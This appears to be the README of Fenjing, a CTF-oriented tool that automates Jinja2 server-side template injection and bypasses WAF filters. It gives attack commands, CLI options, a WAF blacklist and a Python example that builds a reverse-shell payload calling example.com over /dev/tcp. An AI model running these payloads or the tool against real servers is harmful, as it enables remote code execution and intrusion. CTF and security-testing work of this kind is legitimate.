Marven11 / Fenjing

专为CTF设计的Jinja2 SSTI全自动绕WAF脚本 | A Jinja2 SSTI cracker for bypassing WAF, designed for CTF
Mozilla Public License 2.0
728 stars 46 forks source link
ctf jinja2 python scanner security ssti waf

焚靖

Bypass the WAF without knowing WAF

Run tests Upload Python Package codecov Downloads Downloads Static Badge

English

焚靖是一个针对CTF比赛中Jinja SSTI绕过WAF的全自动脚本,可以自动攻击给定的网站或接口,省去手动测试接口,fuzz题目WAF的时间。

演示

asciicast

主要特性

安装

在以下方法中选择一种

使用pipx安装运行(推荐)

# 首先使用apt/dnf/pip/...安装pipx
#pip install pipx
# 然后用pipx自动创建独立的虚拟环境并进行安装
pipx install fenjing
fenjing webui
# fenjing scan --url 'http://xxxx:xxx'

使用pip安装运行

pip install fenjing
fenjing webui
# fenjing scan --url 'http://xxxx:xxx'

下载并运行docker镜像

docker run --net host -it marven11/fenjing webui

使用

webui

可以直接输入python -m fenjing webui启动webui,指定参数并自动攻击

webui-example

在左边填入参数并点击开始分析,然后在右边输入命令即可

scan

在终端可以用scan功能,猜测某个页面的参数并自动攻击:

python -m fenjing scan --url 'http://xxxx:xxx/yyy'

crack

也可以用crack功能,手动指定参数进行攻击:

python -m fenjing crack --url 'http://xxxx:xxx/yyy' --detect-mode fast --inputs aaa,bbb --method GET

这里提供了aaa和bbb两个参数进行攻击,并使用--detect-mode fast加速攻击速度

crack-request

还可以将HTTP请求写进一个文本文件里(比如说req.txt)然后进行攻击

文本文件内容如下:

GET /?name=PAYLOAD HTTP/1.1
Host: 127.0.0.1:5000
Connection: close

命令如下:

python -m fenjing crack-request -f req.txt --host '127.0.0.1' --port 5000

Tab补全

参考这里配置shell启用tab补全

示例如下:

bash

cat >> ~/.bashrc << EOF
eval "$(_FENJING_COMPLETE=bash_source fenjing)"
EOF

zsh

cat >> ~/.zshrc << EOF
eval "$(_FENJING_COMPLETE=zsh_source fenjing)"
EOF

fish

echo '_FENJING_COMPLETE=fish_source fenjing | source' > ~/.config/fish/completions/fenjing.fish

注意只有输入fenjing ...的形式可以进行补全,python -m fenjing等形式无法进行tab补全

攻击失败怎么办?

如果payload生成失败,可以尝试调整以下选项:

详细使用

examples.md以及--help选项

技术细节

项目结构如下:

payload生成原理见howitworks.md

支持的绕过规则如下

关键字符绕过:

自然数绕过:

支持绕过0-9的同时绕过加减乘除,支持的方法如下:

'%c'绕过:

支持绕过引号,glipsumurlencode

下划线绕过:

支持(lipsum|escape|batch(22)|list|first|last)

任意字符串:

支持绕过引号,任意字符串拼接符号,下划线和任意关键词

支持以下形式

属性:

Item

其他技术细节

详细使用

作为命令行脚本使用

各个功能的介绍:

一些特殊的选项:

Usage: python -m fenjing scan [OPTIONS]

  扫描指定的网站

Options:
  --no-verify-ssl                 不验证SSL证书
  --proxy TEXT                    请求时使用的代理
  --extra-data TEXT               请求时的额外POST参数,如a=1&b=2
  --extra-params TEXT             请求时的额外GET参数,如a=1&b=2
  --cookies TEXT                  请求时使用的Cookie
  --header TEXT                   请求时使用的Headers
  --user-agent TEXT               请求时使用的User Agent
  -u, --url TEXT                  需要攻击的URL  [required]
  --interval FLOAT                每次请求的间隔
  --tamper-cmd TEXT               在发送payload之前进行编码的命令,默认不进行额外操作
  --waf-keyword TEXT              手动指定waf页面含有的关键字,此时不会自动检测waf页面的哈希等。可指定多个关键字
  --detect-waf-keywords DETECTWAFKEYWORDS
                                  是否枚举被waf的关键字,需要额外时间,默认为none, 可选full/fast
  --environment TEMPLATEENVIRONMENT
                                  模板的执行环境,默认为不带flask全局变量的普通jinja2
  --replaced-keyword-strategy REPLACEDKEYWORDSTRATEGY
                                  WAF替换关键字时的策略,可为avoid/ignore/doubletapping
  --detect-mode DETECTMODE        分析模式,可为accurate或fast
  -e, --exec-cmd TEXT             成功后执行的shell指令,不填则成功后进入交互模式
  --help                          Show this message and exit.

Usage: python -m fenjing crack [OPTIONS]

  攻击指定的表单

Options:
  --no-verify-ssl                 不验证SSL证书
  --proxy TEXT                    请求时使用的代理
  --extra-data TEXT               请求时的额外POST参数,如a=1&b=2
  --extra-params TEXT             请求时的额外GET参数,如a=1&b=2
  --cookies TEXT                  请求时使用的Cookie
  --header TEXT                   请求时使用的Headers
  --user-agent TEXT               请求时使用的User Agent
  -u, --url TEXT                  需要攻击的URL  [required]
  --interval FLOAT                每次请求的间隔
  --tamper-cmd TEXT               在发送payload之前进行编码的命令,默认不进行额外操作
  --waf-keyword TEXT              手动指定waf页面含有的关键字,此时不会自动检测waf页面的哈希等。可指定多个关键字
  --detect-waf-keywords DETECTWAFKEYWORDS
                                  是否枚举被waf的关键字,需要额外时间,默认为none, 可选full/fast
  --environment TEMPLATEENVIRONMENT
                                  模板的执行环境,默认为不带flask全局变量的普通jinja2
  --replaced-keyword-strategy REPLACEDKEYWORDSTRATEGY
                                  WAF替换关键字时的策略,可为avoid/ignore/doubletapping
  --detect-mode DETECTMODE        分析模式,可为accurate或fast
  -e, --exec-cmd TEXT             成功后执行的shell指令,不填则成功后进入交互模式
  -a, --action TEXT               参数的提交路径,如果和URL中的路径不同则需要填入
  -m, --method TEXT               参数的提交方式,默认为POST
  -i, --inputs TEXT               所有参数,以逗号分隔  [required]
  --eval-args-payload             是否开启在GET参数中传递Eval payload的功能
  --help                          Show this message and exit.

Usage: python -m fenjing crack-request [OPTIONS]

  从文本文件中读取请求并攻击目标,文本文件中用`PAYLOAD`标记payload插入位置

Options:
  --interval FLOAT                每次请求的间隔
  --tamper-cmd TEXT               在发送payload之前进行编码的命令,默认不进行额外操作
  --waf-keyword TEXT              手动指定waf页面含有的关键字,此时不会自动检测waf页面的哈希等。可指定多个关键字
  --detect-waf-keywords DETECTWAFKEYWORDS
                                  是否枚举被waf的关键字,需要额外时间,默认为none, 可选full/fast
  --environment TEMPLATEENVIRONMENT
                                  模板的执行环境,默认为不带flask全局变量的普通jinja2
  --replaced-keyword-strategy REPLACEDKEYWORDSTRATEGY
                                  WAF替换关键字时的策略,可为avoid/ignore/doubletapping
  --detect-mode DETECTMODE        分析模式,可为accurate或fast
  -e, --exec-cmd TEXT             成功后执行的shell指令,不填则成功后进入交互模式
  -h, --host TEXT                 目标的host,可为IP或域名  [required]
  -p, --port INTEGER              目标的端口  [required]
  -f, --request-file TEXT         保存在文本文件中的请求,其中payload处为PAYLOAD  [required]
  --toreplace BYTES               请求文件中payload的占位符
  --ssl / --no-ssl                是否使用SSL
  --urlencode-payload BOOLEAN     是否对payload进行urlencode
  --raw                           不检查请求的换行符等
  --retry-times INTEGER           重试次数
  --update-content-length BOOLEAN
                                  自动更新Content-Length
  --help                          Show this message and exit.

Usage: python -m fenjing crack-path [OPTIONS]

  攻击指定的路径

Options:
  --no-verify-ssl                 不验证SSL证书
  --proxy TEXT                    请求时使用的代理
  --extra-data TEXT               请求时的额外POST参数,如a=1&b=2
  --extra-params TEXT             请求时的额外GET参数,如a=1&b=2
  --cookies TEXT                  请求时使用的Cookie
  --header TEXT                   请求时使用的Headers
  --user-agent TEXT               请求时使用的User Agent
  -u, --url TEXT                  需要攻击的URL  [required]
  --interval FLOAT                每次请求的间隔
  --tamper-cmd TEXT               在发送payload之前进行编码的命令,默认不进行额外操作
  --waf-keyword TEXT              手动指定waf页面含有的关键字,此时不会自动检测waf页面的哈希等。可指定多个关键字
  --detect-waf-keywords DETECTWAFKEYWORDS
                                  是否枚举被waf的关键字,需要额外时间,默认为none, 可选full/fast
  --environment TEMPLATEENVIRONMENT
                                  模板的执行环境,默认为不带flask全局变量的普通jinja2
  --replaced-keyword-strategy REPLACEDKEYWORDSTRATEGY
                                  WAF替换关键字时的策略,可为avoid/ignore/doubletapping
  --detect-mode DETECTMODE        分析模式,可为accurate或fast
  -e, --exec-cmd TEXT             成功后执行的shell指令,不填则成功后进入交互模式
  --help                          Show this message and exit.

Usage: python -m fenjing webui [OPTIONS]

  启动webui

Options:
  -h, --host TEXT                 需要监听的host, 默认为127.0.0.1
  -p, --port INTEGER              需要监听的端口, 默认为11451
  --open-browser / --no-open-browser
                                  是否自动打开浏览器
  --help                          Show this message and exit.

作为python库使用

参考example.py

from fenjing import exec_cmd_payload, config_payload
import logging
logging.basicConfig(level = logging.INFO)

def waf(s: str):
    blacklist = [
        "config", "self", "g", "os", "class", "length", "mro", "base", "lipsum",
        "[", '"', "'", "_", ".", "+", "~", "{{",
        "0", "1", "2", "3", "4", "5", "6", "7", "8", "9",
        "0","1","2","3","4","5","6","7","8","9"
    ]
    return all(word in s for word in blacklist)

if __name__ == "__main__":
    shell_payload, _ = exec_cmd_payload(waf, "bash -c \"bash -i >& /dev/tcp/example.com/3456 0>&1\"")
    config_payload = config_payload(waf)

    print(f"{shell_payload=}")
    print(f"{config_payload=}")

其他使用例可以看这里

Stars

Stargazers over time